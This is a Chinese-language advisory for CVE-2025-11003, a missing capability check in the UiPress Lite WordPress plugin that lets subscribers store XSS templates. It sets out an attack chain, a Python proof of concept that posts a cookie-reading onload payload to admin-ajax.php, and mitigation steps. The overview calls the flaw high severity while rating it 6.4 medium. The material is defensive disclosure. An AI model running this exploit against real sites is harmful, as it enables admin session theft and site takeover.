CVE-2025-11003: UiPress Lite插件越权模板注入漏洞

漏洞信息

漏洞编号

CVE-2025-11003

漏洞类型

越权访问/存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

UiPress lite WordPress插件

漏洞概述

CVE-2025-11003是WordPress平台下UiPress Lite插件的一个高危安全漏洞。该插件是一款流行的自定义仪表板、管理员主题和页面构建工具，安装量超过10万次。漏洞根源在于插件的'uip_save_ui_template'函数缺少必要的权限验证（Capability Check），导致任何具有Subscriber级别权限的认证用户都可以调用该函数，非法保存包含恶意JavaScript代码的模板。由于模板数据会存储在数据库中并在后续被加载渲染，这将形成存储型跨站脚本攻击（Stored XSS）。攻击者无需管理员权限，仅需注册为订阅者用户即可利用此漏洞。此漏洞影响所有版本直至3.5.08，CVSS评分6.4，属于中等严重程度。虽然CVSS评分相对较低，但由于攻击门槛低且可窃取管理员会话、劫持网站后台权限，实际危害不容忽视。建议所有使用该插件的用户立即升级至最新版本。

技术细节

漏洞存在于UiPress Lite插件的admin/classes/PostTypes/UiTemplates.php文件第416行附近的'uip_save_ui_template'函数中。该函数负责处理用户提交的UI模板保存请求，但未对当前用户权限进行验证。正常情况下，WordPress插件应使用current_user_can()函数检查用户是否具有manage_options或edit_posts等权限，但该函数直接处理请求数据并写入数据库。攻击者只需构造包含<script>标签或JavaScript事件处理器的模板数据，通过AJAX请求发送至admin-ajax.php端点即可触发保存操作。由于模板会在管理员访问仪表板或相关页面时被加载执行，恶意代码将以管理员上下文运行，从而实现会话劫持、后台账户创建、恶意插件安装等攻击。攻击路径为：注册订阅者账户 → 构造恶意模板JSON → 发送保存请求 → 模板入库 → 等待管理员访问触发XSS。

攻击链分析

STEP 1

Reconnaissance

攻击者识别目标网站使用的WordPress版本及UiPress Lite插件安装情况，通过查看页面源码或使用wpscan等工具确认插件版本≤3.5.08

STEP 2

Account Creation

攻击者在目标WordPress站点注册一个新账户，默认注册用户角色为Subscriber，满足漏洞利用的最低权限要求（PR:L）

STEP 3

Payload Crafting

攻击者构造包含恶意JavaScript代码的模板数据，通常使用<script>标签、事件处理器（如onload、onerror）或SVG/iframe等载体实现XSS

STEP 4

Request Forging

攻击者抓取或构造对admin-ajax.php的AJAX请求，将action参数设为uip_save_ui_template，POST数据包含恶意模板内容

STEP 5

Template Injection

通过已认证的Session发送恶意请求，由于插件未验证权限，请求被成功处理，恶意模板数据写入数据库

STEP 6

XSS Trigger

当管理员或其他高权限用户访问包含该模板的页面时，恶意JavaScript代码被执行，可窃取Cookies、会话令牌或执行进一步提权操作

STEP 7

Privilege Escalation

攻击者利用窃取的会话冒充管理员，可创建新管理员账户、安装恶意插件、修改网站内容或窃取数据库敏感信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-11003 PoC - UiPress Lite Unauthorized Template Save
# This PoC demonstrates the missing capability check vulnerability

import requests
import json

# Configuration
target_url = "http://target-wordpress-site.com"
username = "attacker_account"
password = "attacker_password"

# Create session
session = requests.Session()

# Step 1: Login to WordPress
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In",
    "redirect_to": "/wp-admin/",
    "testcookie": "1"
}
session.post(login_url, data=login_data)

# Step 2: Prepare malicious template with XSS payload
malicious_template = {
    "uip-template-name": "Malicious Admin Theme",
    "uip-template-data": json.dumps({
        "type": "block",
        "content": {
            "type": "div",
            "attrs": {
                "onload": "alert('XSS - Cookie: '+document.cookie)",
                "class": "admin-panel"
            }
        }
    }),
    "action": "uip_save_ui_template",
    "security": ""  # May need to fetch nonce from source
}

# Step 3: Send malicious template save request
ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
response = session.post(ajax_url, data=malicious_template)

print(f"Response Status: {response.status_code}")
print(f"Response: {response.text}")

if response.status_code == 200:
    print("[+] Template saved successfully - XSS payload injected!")
else:
    print("[-] Failed to save template")

影响范围

UiPress Lite plugin ≤ 3.5.08

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 暂时禁用或删除UiPress Lite插件；2) 使用WordPress安全插件限制非管理员用户的AJAX功能；3) 禁用新用户注册功能；4) 监控wp_postmeta和wp_uip_template等数据表的可疑记录；5) 限制wp-admin/admin-ajax.php的访问来源；6) 实施严格的CSP策略阻止内联脚本执行。